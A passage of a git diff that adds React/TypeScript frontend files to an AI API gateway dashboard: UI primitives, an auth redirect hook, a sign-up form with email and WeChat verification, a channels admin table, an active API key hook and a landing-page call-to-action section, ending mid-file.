+      data-slot='input-group-control'
+      className={cn(
+        'flex-1 resize-none rounded-none border-0 bg-transparent py-3 shadow-none focus-visible:ring-0 dark:bg-transparent',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export {
+  InputGroup,
+  InputGroupAddon,
+  InputGroupButton,
+  InputGroupText,
+  InputGroupInput,
+  InputGroupTextarea,
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/components/ui/separator.tsx b/_all-in-one-upload/new-api/web/default/src/components/ui/separator.tsx
new file mode 100644
index 0000000..f418324
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/components/ui/separator.tsx
@@ -0,0 +1,25 @@
+import * as React from 'react'
+import * as SeparatorPrimitive from '@radix-ui/react-separator'
+import { cn } from '@/lib/utils'
+
+function Separator({
+  className,
+  orientation = 'horizontal',
+  decorative = true,
+  ...props
+}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
+  return (
+    <SeparatorPrimitive.Root
+      data-slot='separator'
+      decorative={decorative}
+      orientation={orientation}
+      className={cn(
+        'bg-border shrink-0 data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:w-px',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Separator }
diff --git a/_all-in-one-upload/new-api/web/default/src/features/auth/hooks/use-auth-redirect.ts b/_all-in-one-upload/new-api/web/default/src/features/auth/hooks/use-auth-redirect.ts
new file mode 100644
index 0000000..f0371cd
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/auth/hooks/use-auth-redirect.ts
@@ -0,0 +1,86 @@
+import { useNavigate } from '@tanstack/react-router'
+import i18n from 'i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { getSelf } from '@/lib/api'
+import type { User } from '@/features/users/types'
+import { saveUserId } from '../lib/storage'
+
+/**
+ * Hook for handling authentication redirects and user data management
+ */
+export function useAuthRedirect() {
+  const navigate = useNavigate()
+  const { auth } = useAuthStore()
+
+  /**
+   * Handle successful login
+   * @param userData - Optional user data from login response
+   * @param redirectTo - Redirect path after login
+   */
+  const handleLoginSuccess = async (
+    userData?: { id?: number } | null,
+    redirectTo?: string
+  ) => {
+    // Save user ID if available
+    if (userData?.id) {
+      saveUserId(userData.id)
+    }
+
+    // Fetch and set user data
+    try {
+      const self = await getSelf()
+      if (self?.success && self.data) {
+        const user = self.data as User
+        auth.setUser(user)
+
+        // Update user ID if not already set
+        if (user.id) {
+          saveUserId(user.id)
+        }
+
+        // Restore saved language preference
+        const savedLang = (user as Record<string, unknown>).language as
+          | string
+          | undefined
+        if (savedLang && savedLang !== i18n.language) {
+          i18n.changeLanguage(savedLang)
+        }
+      }
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to fetch user data:', error)
+    }
+
+    // Navigate to target page
+    const targetPath = redirectTo || '/dashboard'
+    navigate({ to: targetPath, replace: true })
+  }
+
+  /**
+   * Redirect to 2FA page
+   */
+  const redirectTo2FA = () => {
+    navigate({ to: '/otp', replace: true })
+  }
+
+  /**
+   * Redirect to login page
+   */
+  const redirectToLogin = () => {
+    navigate({ to: '/sign-in', replace: true })
+  }
+
+  /**
+   * Redirect to register page
+   */
+  const redirectToRegister = () => {
+    navigate({ to: '/sign-up', replace: true })
+  }
+
+  return {
+    handleLoginSuccess,
+    redirectTo2FA,
+    redirectToLogin,
+    redirectToRegister,
+  }
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/auth/sign-up/components/sign-up-form.tsx b/_all-in-one-upload/new-api/web/default/src/features/auth/sign-up/components/sign-up-form.tsx
new file mode 100644
index 0000000..d71c80e
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/auth/sign-up/components/sign-up-form.tsx
@@ -0,0 +1,412 @@
+import { useEffect, useMemo, useState } from 'react'
+import type { z } from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { cn } from '@/lib/utils'
+import { useStatus } from '@/hooks/use-status'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { PasswordInput } from '@/components/password-input'
+import { Turnstile } from '@/components/turnstile'
+import { register, wechatLoginByCode } from '@/features/auth/api'
+import { LegalConsent } from '@/features/auth/components/legal-consent'
+import { OAuthProviders } from '@/features/auth/components/oauth-providers'
+import { registerFormSchema } from '@/features/auth/constants'
+import { useAuthRedirect } from '@/features/auth/hooks/use-auth-redirect'
+import { useEmailVerification } from '@/features/auth/hooks/use-email-verification'
+import { useTurnstile } from '@/features/auth/hooks/use-turnstile'
+import { getAffiliateCode } from '@/features/auth/lib/storage'
+
+export function SignUpForm({
+  className,
+  ...props
+}: React.HTMLAttributes<HTMLFormElement>) {
+  const { t } = useTranslation()
+  const [isLoading, setIsLoading] = useState(false)
+  const [verificationCode, setVerificationCode] = useState('')
+  const [agreedToLegal, setAgreedToLegal] = useState(false)
+  const [wechatCode, setWeChatCode] = useState('')
+  const [isWeChatDialogOpen, setIsWeChatDialogOpen] = useState(false)
+  const [isWeChatSubmitting, setIsWeChatSubmitting] = useState(false)
+  const legalConsentErrorMessage = t('Please agree to the legal terms first')
+
+  const { status } = useStatus()
+  const {
+    isTurnstileEnabled,
+    turnstileSiteKey,
+    turnstileToken,
+    setTurnstileToken,
+    validateTurnstile,
+  } = useTurnstile()
+  const { redirectToLogin, handleLoginSuccess } = useAuthRedirect()
+  const {
+    isSending: isSendingCode,
+    secondsLeft,
+    isActive,
+    sendCode,
+  } = useEmailVerification({
+    turnstileToken,
+    validateTurnstile,
+  })
+
+  const form = useForm<z.infer<typeof registerFormSchema>>({
+    resolver: zodResolver(registerFormSchema),
+    defaultValues: {
+      username: '',
+      email: '',
+      password: '',
+      confirmPassword: '',
+    },
+  })
+
+  const emailValue = form.watch('email')
+  const emailVerificationRequired = !!status?.email_verification
+  const hasUserAgreement = Boolean(status?.user_agreement_enabled)
+  const hasPrivacyPolicy = Boolean(status?.privacy_policy_enabled)
+  const requiresLegalConsent = hasUserAgreement || hasPrivacyPolicy
+  const oauthRegisterEnabled =
+    status?.oauth_register_enabled ??
+    status?.data?.oauth_register_enabled ??
+    true
+  const hasWeChatLogin = Boolean(status?.wechat_login)
+
+  const wechatQrCodeUrl = useMemo(() => {
+    return (
+      status?.wechat_qrcode ||
+      status?.wechat_qr_code ||
+      status?.wechat_qrcode_image_url ||
+      status?.wechat_qr_code_image_url ||
+      status?.wechat_account_qrcode_image_url ||
+      status?.WeChatAccountQRCodeImageURL ||
+      status?.data?.wechat_qrcode ||
+      status?.data?.WeChatAccountQRCodeImageURL ||
+      ''
+    )
+  }, [status])
+
+  useEffect(() => {
+    if (requiresLegalConsent) {
+      setAgreedToLegal(false)
+    } else {
+      setAgreedToLegal(true)
+    }
+  }, [requiresLegalConsent])
+
+  async function onSubmit(data: z.infer<typeof registerFormSchema>) {
+    if (requiresLegalConsent && !agreedToLegal) {
+      toast.error(legalConsentErrorMessage)
+      return
+    }
+
+    // Validate email verification if required
+    if (emailVerificationRequired) {
+      if (!data.email) {
+        toast.error(t('Please enter your email'))
+        return
+      }
+      if (!verificationCode) {
+        toast.error(t('Please enter the verification code'))
+        return
+      }
+    }
+
+    setIsLoading(true)
+    try {
+      const res = await register({
+        username: data.username,
+        password: data.password,
+        email: data.email || undefined,
+        verification_code: verificationCode || undefined,
+        aff: getAffiliateCode(),
+        turnstile: turnstileToken,
+      })
+
+      if (res?.success) {
+        toast.success(t('Account created! Please sign in'))
+        redirectToLogin()
+      }
+    } catch (_error) {
+      // Errors are handled by global interceptor
+    } finally {
+      setIsLoading(false)
+    }
+  }
+
+  async function handleSendVerificationCode() {
+    await sendCode(emailValue || '')
+  }
+
+  const handleOpenWeChatDialog = () => {
+    if (requiresLegalConsent && !agreedToLegal) {
+      toast.error(legalConsentErrorMessage)
+      return
+    }
+
+    setIsWeChatDialogOpen(true)
+  }
+
+  const handleWeChatDialogChange = (open: boolean) => {
+    setIsWeChatDialogOpen(open)
+    if (!open) {
+      setWeChatCode('')
+      setIsWeChatSubmitting(false)
+    }
+  }
+
+  async function handleWeChatLogin() {
+    if (!wechatCode.trim()) {
+      toast.error(t('Please enter the verification code'))
+      return
+    }
+
+    setIsWeChatSubmitting(true)
+    try {
+      const res = await wechatLoginByCode(wechatCode)
+      if (res?.success) {
+        await handleLoginSuccess(res.data as { id?: number } | null)
+        toast.success(t('Signed in via WeChat'))
+        handleWeChatDialogChange(false)
+      } else {
+        toast.error(res?.message || t('Login failed'))
+      }
+    } catch (_error) {
+      toast.error(t('Login failed'))
+    } finally {
+      setIsWeChatSubmitting(false)
+    }
+  }
+
+  return (
+    <Form {...form}>
+      <form
+        onSubmit={form.handleSubmit(onSubmit)}
+        className={cn('grid gap-4', className)}
+        {...props}
+      >
+        {/* Username Field */}
+        <FormField
+          control={form.control}
+          name='username'
+          render={({ field }) => (
+            <FormItem>
+              <FormLabel>{t('Username')}</FormLabel>
+              <FormControl>
+                <Input placeholder={t('Enter your username')} {...field} />
+              </FormControl>
+              <FormMessage />
+            </FormItem>
+          )}
+        />
+
+        {/* Password Field */}
+        <FormField
+          control={form.control}
+          name='password'
+          render={({ field }) => (
+            <FormItem>
+              <FormLabel>{t('Password')}</FormLabel>
+              <FormControl>
+                <PasswordInput
+                  placeholder={t('Enter password (8-20 characters)')}
+                  {...field}
+                />
+              </FormControl>
+              <FormMessage />
+            </FormItem>
+          )}
+        />
+
+        {/* Confirm Password Field */}
+        <FormField
+          control={form.control}
+          name='confirmPassword'
+          render={({ field }) => (
+            <FormItem>
+              <FormLabel>{t('Confirm password')}</FormLabel>
+              <FormControl>
+                <PasswordInput placeholder={t('Confirm password')} {...field} />
+              </FormControl>
+              <FormMessage />
+            </FormItem>
+          )}
+        />
+
+        {/* Email Verification Section */}
+        {emailVerificationRequired && (
+          <>
+            {/* Email Field */}
+            <FormField
+              control={form.control}
+              name='email'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>
+                    {t('Email (required for verification)')}
+                  </FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('name@example.com')}
+                      type='email'
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            {/* Verification Code Field */}
+            <div className='flex items-end gap-2'>
+              <div className='flex-1'>
+                <Input
+                  placeholder={t('Verification code')}
+                  value={verificationCode}
+                  onChange={(e) => setVerificationCode(e.target.value)}
+                />
+              </div>
+              <Button
+                variant='outline'
+                type='button'
+                disabled={isLoading || isSendingCode || isActive || !emailValue}
+                onClick={handleSendVerificationCode}
+              >
+                {isActive ? (
+                  t('Resend ({{seconds}}s)', { seconds: secondsLeft })
+                ) : isSendingCode ? (
+                  <Loader2 className='h-4 w-4 animate-spin' />
+                ) : (
+                  t('Send code')
+                )}
+              </Button>
+            </div>
+
+            {/* Turnstile */}
+            {isTurnstileEnabled && (
+              <div className='mt-2'>
+                <Turnstile
+                  siteKey={turnstileSiteKey}
+                  onVerify={setTurnstileToken}
+                />
+              </div>
+            )}
+          </>
+        )}
+
+        <LegalConsent
+          status={status}
+          checked={agreedToLegal}
+          onCheckedChange={setAgreedToLegal}
+          className='mt-1'
+        />
+
+        {/* Submit Button */}
+        <Button
+          className='mt-2 w-full justify-center gap-2'
+          disabled={isLoading || (requiresLegalConsent && !agreedToLegal)}
+        >
+          {isLoading ? <Loader2 className='h-4 w-4 animate-spin' /> : null}
+          {t('Create account')}
+        </Button>
+
+        {oauthRegisterEnabled && (
+          <OAuthProviders
+            status={status}
+            disabled={isLoading || (requiresLegalConsent && !agreedToLegal)}
+            onWeChatLogin={hasWeChatLogin ? handleOpenWeChatDialog : undefined}
+            isWeChatLoading={isWeChatSubmitting}
+            className='pt-2'
+          />
+        )}
+      </form>
+
+      {hasWeChatLogin && (
+        <Dialog
+          open={isWeChatDialogOpen}
+          onOpenChange={handleWeChatDialogChange}
+        >
+          <DialogContent className='max-w-sm'>
+            <DialogHeader className='text-left'>
+              <DialogTitle>{t('WeChat sign in')}</DialogTitle>
+              <DialogDescription>
+                {t(
+                  'Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.'
+                )}
+              </DialogDescription>
+            </DialogHeader>
+
+            {wechatQrCodeUrl ? (
+              <div className='flex justify-center'>
+                <img
+                  src={wechatQrCodeUrl}
+                  alt={t('WeChat login QR code')}
+                  className='h-40 w-40 rounded-md border object-contain'
+                />
+              </div>
+            ) : (
+              <p className='text-muted-foreground text-sm'>
+                {t('QR code is not configured. Please contact support.')}
+              </p>
+            )}
+
+            <div className='grid gap-2'>
+              <Label htmlFor='wechat-code'>{t('Verification code')}</Label>
+              <Input
+                id='wechat-code'
+                placeholder={t('Enter the verification code')}
+                value={wechatCode}
+                onChange={(event) => setWeChatCode(event.target.value)}
+                autoComplete='one-time-code'
+              />
+            </div>
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => handleWeChatDialogChange(false)}
+                disabled={isWeChatSubmitting}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button
+                type='button'
+                onClick={handleWeChatLogin}
+                disabled={
+                  isWeChatSubmitting ||
+                  !wechatCode.trim() ||
+                  (requiresLegalConsent && !agreedToLegal)
+                }
+                className='gap-2'
+              >
+                {isWeChatSubmitting ? (
+                  <Loader2 className='h-4 w-4 animate-spin' />
+                ) : null}
+                {t('Confirm')}
+              </Button>
+            </DialogFooter>
+          </DialogContent>
+        </Dialog>
+      )}
+    </Form>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/channels/components/channels-table.tsx b/_all-in-one-upload/new-api/web/default/src/features/channels/components/channels-table.tsx
new file mode 100644
index 0000000..cf7509d
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/channels/components/channels-table.tsx
@@ -0,0 +1,449 @@
+import { useState, useMemo, useEffect } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { getRouteApi } from '@tanstack/react-router'
+import {
+  flexRender,
+  getCoreRowModel,
+  useReactTable,
+  getExpandedRowModel,
+  type SortingState,
+  type VisibilityState,
+  type ExpandedState,
+  type Row,
+} from '@tanstack/react-table'
+import { useDebounce, useMediaQuery } from '@/hooks'
+import { useTranslation } from 'react-i18next'
+import { getLobeIcon } from '@/lib/lobe-icon'
+import { cn } from '@/lib/utils'
+import { useTableUrlState } from '@/hooks/use-table-url-state'
+import { Input } from '@/components/ui/input'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTableToolbar,
+  TableSkeleton,
+  TableEmpty,
+  MobileCardList,
+} from '@/components/data-table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { PageFooterPortal } from '@/components/layout'
+import { getChannels, searchChannels, getGroups } from '../api'
+import {
+  DEFAULT_PAGE_SIZE,
+  CHANNEL_STATUS,
+  CHANNEL_STATUS_OPTIONS,
+} from '../constants'
+import {
+  channelsQueryKeys,
+  aggregateChannelsByTag,
+  isTagAggregateRow,
+  getChannelTypeIcon,
+  getChannelTypeLabel,
+} from '../lib'
+import type { Channel } from '../types'
+import { useChannelsColumns } from './channels-columns'
+import { useChannels } from './channels-provider'
+import { DataTableBulkActions } from './data-table-bulk-actions'
+
+const route = getRouteApi('/_authenticated/channels/')
+
+function isDisabledChannelRow(channel: Channel) {
+  return (
+    !isTagAggregateRow(channel) && channel.status !== CHANNEL_STATUS.ENABLED
+  )
+}
+
+export function ChannelsTable() {
+  const { t } = useTranslation()
+  const { enableTagMode, idSort } = useChannels()
+  const isMobile = useMediaQuery('(max-width: 640px)')
+
+  // Table state
+  const [sorting, setSorting] = useState<SortingState>([])
+  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({
+    models: false,
+    tag: false,
+  })
+  const [rowSelection, setRowSelection] = useState({})
+  const [expanded, setExpanded] = useState<ExpandedState>({})
+
+  // URL state management
+  const {
+    globalFilter,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  } = useTableUrlState({
+    search: route.useSearch(),
+    navigate: route.useNavigate(),
+    pagination: { defaultPage: 1, defaultPageSize: DEFAULT_PAGE_SIZE },
+    globalFilter: { enabled: true, key: 'filter' },
+    columnFilters: [
+      { columnId: 'status', searchKey: 'status', type: 'array' },
+      { columnId: 'type', searchKey: 'type', type: 'array' },
+      { columnId: 'group', searchKey: 'group', type: 'array' },
+      { columnId: 'model', searchKey: 'model', type: 'string' },
+    ],
+  })
+
+  // Extract filters from column filters
+  const statusFilter =
+    (columnFilters.find((f) => f.id === 'status')?.value as string[]) || []
+  const typeFilter =
+    (columnFilters.find((f) => f.id === 'type')?.value as string[]) || []
+  const groupFilter =
+    (columnFilters.find((f) => f.id === 'group')?.value as string[]) || []
+  const modelFilterFromUrl =
+    (columnFilters.find((f) => f.id === 'model')?.value as string) || ''
+
+  // Local state for immediate input feedback
+  const [modelFilterInput, setModelFilterInput] = useState(modelFilterFromUrl)
+  const debouncedModelFilter = useDebounce(modelFilterInput, 500)
+
+  // Sync local input with URL when URL changes (e.g., from back/forward navigation)
+  useEffect(() => {
+    setModelFilterInput(modelFilterFromUrl)
+  }, [modelFilterFromUrl])
+
+  // Update URL when debounced value changes
+  useEffect(() => {
+    if (debouncedModelFilter !== modelFilterFromUrl) {
+      onColumnFiltersChange((prev) => {
+        const filtered = prev.filter((f) => f.id !== 'model')
+        return debouncedModelFilter
+          ? [...filtered, { id: 'model', value: debouncedModelFilter }]
+          : filtered
+      })
+    }
+  }, [debouncedModelFilter, modelFilterFromUrl, onColumnFiltersChange])
+
+  const modelFilter = modelFilterFromUrl
+
+  // Determine whether to use search or regular list API
+  const shouldSearch = Boolean(globalFilter?.trim() || modelFilter.trim())
+
+  // Fetch groups for filter
+  const { data: groupsData } = useQuery({
+    queryKey: ['groups'],
+    queryFn: getGroups,
+  })
+
+  const groupOptions = useMemo(
+    () =>
+      (groupsData?.data || []).map((g) => ({
+        label: g,
+        value: g,
+      })),
+    [groupsData]
+  )
+
+  // Fetch channels data
+  // eslint-disable-next-line @tanstack/query/exhaustive-deps
+  const { data, isLoading, isFetching } = useQuery({
+    queryKey: channelsQueryKeys.list({
+      keyword: globalFilter,
+      model: modelFilter,
+      group:
+        groupFilter.length > 0 && !groupFilter.includes('all')
+          ? groupFilter[0]
+          : undefined,
+      status:
+        statusFilter.length > 0 && !statusFilter.includes('all')
+          ? statusFilter[0]
+          : undefined,
+      type:
+        typeFilter.length > 0 && !typeFilter.includes('all')
+          ? Number(typeFilter[0])
+          : undefined,
+      tag_mode: enableTagMode,
+      id_sort: idSort,
+      p: pagination.pageIndex + 1,
+      page_size: pagination.pageSize,
+    }),
+    queryFn: async () => {
+      if (shouldSearch) {
+        return searchChannels({
+          keyword: globalFilter,
+          model: modelFilter,
+          group:
+            groupFilter.length > 0 && !groupFilter.includes('all')
+              ? groupFilter[0]
+              : undefined,
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          type:
+            typeFilter.length > 0 && !typeFilter.includes('all')
+              ? Number(typeFilter[0])
+              : undefined,
+          tag_mode: enableTagMode,
+          id_sort: idSort,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      } else {
+        return getChannels({
+          group:
+            groupFilter.length > 0 && !groupFilter.includes('all')
+              ? groupFilter[0]
+              : undefined,
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          type:
+            typeFilter.length > 0 && !typeFilter.includes('all')
+              ? Number(typeFilter[0])
+              : undefined,
+          tag_mode: enableTagMode,
+          id_sort: idSort,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      }
+    },
+    placeholderData: (previousData) => previousData,
+  })
+
+  // Apply tag aggregation if tag mode is enabled
+  const channels = useMemo(() => {
+    const rawChannels = data?.data?.items || []
+
+    if (enableTagMode && rawChannels.length > 0) {
+      return aggregateChannelsByTag(rawChannels)
+    }
+
+    return rawChannels
+  }, [data, enableTagMode])
+
+  const totalCount = data?.data?.total || 0
+  const typeCounts = data?.data?.type_counts
+
+  // Columns configuration
+  const columns = useChannelsColumns()
+
+  // React Table instance
+  const table = useReactTable({
+    data: channels,
+    columns,
+    pageCount: Math.ceil(totalCount / pagination.pageSize),
+    state: {
+      sorting,
+      columnFilters,
+      columnVisibility,
+      rowSelection,
+      pagination,
+      expanded,
+      globalFilter,
+    },
+    enableRowSelection: (row: Row<Channel>) => !isTagAggregateRow(row.original),
+    onRowSelectionChange: setRowSelection,
+    onSortingChange: setSorting,
+    onColumnFiltersChange,
+    onColumnVisibilityChange: setColumnVisibility,
+    onPaginationChange,
+    onExpandedChange: setExpanded,
+    onGlobalFilterChange,
+    getCoreRowModel: getCoreRowModel(),
+    getExpandedRowModel: getExpandedRowModel(),
+    getSubRows: (row: Channel & { children?: Channel[] }) => row.children,
+    manualPagination: true,
+    manualSorting: true,
+    manualFiltering: true,
+  })
+
+  // Ensure page is in range when total count changes
+  const pageCount = table.getPageCount()
+  useEffect(() => {
+    ensurePageInRange(pageCount)
+  }, [pageCount, ensurePageInRange])
+
+  // Prepare filter options from existing channel types only.
+  const typeFilterOptions = useMemo(() => {
+    const counts = typeCounts || {}
+    const typeIds = Object.entries(counts)
+      .map(([type, count]) => ({
+        type: Number(type),
+        count: Number(count) || 0,
+      }))
+      .filter((item) => item.type > 0 && item.count > 0)
+      .sort((a, b) => {
+        const labelA = t(getChannelTypeLabel(a.type))
+        const labelB = t(getChannelTypeLabel(b.type))
+        return labelA.localeCompare(labelB)
+      })
+
+    const selectedType = typeFilter.find((value) => value !== 'all')
+    if (selectedType) {
+      const selectedTypeId = Number(selectedType)
+      const alreadyIncluded = typeIds.some(
+        (item) => item.type === selectedTypeId
+      )
+      if (selectedTypeId > 0 && !alreadyIncluded) {
+        typeIds.push({
+          type: selectedTypeId,
+          count: Number(counts[selectedType]) || 0,
+        })
+      }
+    }
+
+    const totalTypes = Object.values(counts).reduce(
+      (sum, count) => sum + (Number(count) || 0),
+      0
+    )
+
+    return [
+      {
+        label: 'All Types',
+        value: 'all',
+        count: totalTypes,
+      },
+      ...typeIds.map((item) => {
+        const iconName = getChannelTypeIcon(item.type)
+        return {
+          label: getChannelTypeLabel(item.type),
+          value: String(item.type),
+          count: item.count,
+          iconNode: getLobeIcon(`${iconName}.Color`, 16),
+        }
+      }),
+    ]
+  }, [t, typeCounts, typeFilter])
+
+  const groupFilterOptions = [
+    { label: t('All Groups'), value: 'all' },
+    ...groupOptions,
+  ]
+
+  return (
+    <>
+      <div className='space-y-4'>
+        <DataTableToolbar
+          table={table}
+          searchPlaceholder={t('Filter by name, ID, or key...')}
+          additionalSearch={
+            <Input
+              placeholder={t('Filter by model...')}
+              value={modelFilterInput}
+              onChange={(e) => setModelFilterInput(e.target.value)}
+              className='h-8 w-full sm:w-[150px] lg:w-[200px]'
+            />
+          }
+          filters={[
+            {
+              columnId: 'status',
+              title: t('Status'),
+              options: [...CHANNEL_STATUS_OPTIONS],
+              singleSelect: true,
+            },
+            {
+              columnId: 'type',
+              title: t('Type'),
+              options: typeFilterOptions,
+              singleSelect: true,
+            },
+            {
+              columnId: 'group',
+              title: t('Group'),
+              options: groupFilterOptions,
+              singleSelect: true,
+            },
+          ]}
+        />
+
+        {isMobile ? (
+          <MobileCardList
+            table={table}
+            isLoading={isLoading}
+            emptyTitle='No Channels Found'
+            emptyDescription='No channels available. Create your first channel to get started.'
+            getRowClassName={(row) =>
+              isDisabledChannelRow(row.original)
+                ? 'border-l-4 border-l-muted-foreground/35 bg-muted/85 dark:border-l-zinc-300/70 dark:bg-zinc-700/55'
+                : undefined
+            }
+          />
+        ) : (
+          <>
+            <div
+              className={cn(
+                'overflow-hidden rounded-md border transition-opacity duration-150',
+                isFetching && !isLoading && 'pointer-events-none opacity-50'
+              )}
+            >
+              <Table>
+                <TableHeader>
+                  {table.getHeaderGroups().map((headerGroup) => (
+                    <TableRow key={headerGroup.id}>
+                      {headerGroup.headers.map((header) => (
+                        <TableHead
+                          key={header.id}
+                          style={{ width: header.getSize() }}
+                        >
+                          {header.isPlaceholder
+                            ? null
+                            : flexRender(
+                                header.column.columnDef.header,
+                                header.getContext()
+                              )}
+                        </TableHead>
+                      ))}
+                    </TableRow>
+                  ))}
+                </TableHeader>
+                <TableBody>
+                  {isLoading ? (
+                    <TableSkeleton table={table} keyPrefix='channel-skeleton' />
+                  ) : table.getRowModel().rows.length === 0 ? (
+                    <TableEmpty
+                      colSpan={columns.length}
+                      title={t('No Channels Found')}
+                      description={t(
+                        'No channels available. Create your first channel to get started.'
+                      )}
+                    />
+                  ) : (
+                    table.getRowModel().rows.map((row) => (
+                      <TableRow
+                        key={row.id}
+                        data-state={row.getIsSelected() && 'selected'}
+                        className={cn(
+                          isDisabledChannelRow(row.original) &&
+                            'bg-muted/85 hover:bg-muted [&>td:first-child]:border-l-muted-foreground/35 dark:bg-zinc-700/55 dark:hover:bg-zinc-700/70 [&>td:first-child]:border-l-4 [&>td:first-child]:pl-1 dark:[&>td:first-child]:border-l-zinc-300/70'
+                        )}
+                      >
+                        {row.getVisibleCells().map((cell) => (
+                          <TableCell key={cell.id}>
+                            {flexRender(
+                              cell.column.columnDef.cell,
+                              cell.getContext()
+                            )}
+                          </TableCell>
+                        ))}
+                      </TableRow>
+                    ))
+                  )}
+                </TableBody>
+              </Table>
+            </div>
+
+            <DataTableBulkActions table={table} />
+          </>
+        )}
+      </div>
+      <PageFooterPortal>
+        <DataTablePagination table={table} />
+      </PageFooterPortal>
+    </>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/chat/hooks/use-active-chat-key.ts b/_all-in-one-upload/new-api/web/default/src/features/chat/hooks/use-active-chat-key.ts
new file mode 100644
index 0000000..838d56e
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/chat/hooks/use-active-chat-key.ts
@@ -0,0 +1,31 @@
+import { useQuery } from '@tanstack/react-query'
+import { getApiKeys } from '@/features/keys/api'
+import { API_KEY_STATUS } from '@/features/keys/constants'
+
+/**
+ * Get the currently active API key for chat links
+ */
+export function useActiveChatKey(enabled: boolean) {
+  return useQuery({
+    queryKey: ['chat-active-key'],
+    queryFn: async () => {
+      const result = await getApiKeys({ p: 1, size: 50 })
+      if (!result.success) {
+        throw new Error(result.message || 'Failed to load API keys')
+      }
+      const items = result.data?.items ?? []
+      const active = items.find(
+        (item) => item.status === API_KEY_STATUS.ENABLED
+      )
+      if (!active) {
+        throw new Error(
+          'No enabled API keys found. Create or enable one first.'
+        )
+      }
+      return active.key
+    },
+    enabled,
+    staleTime: 5 * 60 * 1000,
+    gcTime: 10 * 60 * 1000,
+  })
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/dashboard/lib/text.ts b/_all-in-one-upload/new-api/web/default/src/features/dashboard/lib/text.ts
new file mode 100644
index 0000000..ea13d03
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/dashboard/lib/text.ts
@@ -0,0 +1,16 @@
+/**
+ * Get plain text preview (strip HTML tags and Markdown formatting)
+ */
+export function getPreviewText(
+  content: string,
+  maxLength: number = 60
+): string {
+  if (!content) return ''
+  const plainText = content
+    .replace(/<[^>]*>/g, '') // Remove HTML tags
+    .replace(/[#*_]/g, '') // Remove Markdown formatting symbols
+    .trim()
+  return plainText.length > maxLength
+    ? plainText.substring(0, maxLength) + '...'
+    : plainText
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/home/components/sections/cta.tsx b/_all-in-one-upload/new-api/web/default/src/features/home/components/sections/cta.tsx
new file mode 100644
index 0000000..9bccf42
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/home/components/sections/cta.tsx
@@ -0,0 +1,65 @@
+import { Link } from '@tanstack/react-router'
+import { ArrowRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { AnimateInView } from '@/components/animate-in-view'
+
+interface CTAProps {
+  className?: string
+  isAuthenticated?: boolean
+}
+
+export function CTA(props: CTAProps) {
+  const { t } = useTranslation()
+
+  if (props.isAuthenticated) {
+    return null
+  }
+
+  return (
+    <section className='relative z-10 overflow-hidden px-6 py-24 md:py-32'>
+      {/* Gradient mesh background */}
+      <div
+        aria-hidden
+        className='absolute inset-0 -z-10 opacity-20 dark:opacity-[0.08]'
+        style={{
+          background: [
+            'radial-gradient(ellipse 50% 50% at 30% 50%, oklch(0.7 0.15 250 / 70%) 0%, transparent 70%)',
+            'radial-gradient(ellipse 40% 40% at 70% 40%, oklch(0.65 0.12 200 / 50%) 0%, transparent 70%)',
+          ].join(', '),
+        }}
+      />
+
+      <AnimateInView
+        className='mx-auto max-w-2xl text-center'
+        animation='scale-in'
+      >
+        <h2 className='text-2xl leading-tight font-bold tracking-tight md:text-4xl'>
+          {t('Ready to simplify')}
+          <br />
+          <span className='bg-gradient-to-r from-blue-400 via-violet-400 to-purple-500 bg-clip-text text-transparent'>
+            {t('your AI integration?')}
+          </span>
+        </h2>
+        <p className='text-muted-foreground/80 mx-auto mt-5 max-w-md text-sm leading-relaxed md:text-base'>
+          {t('Start for free with generous limits. No credit card required.')}
+        </p>
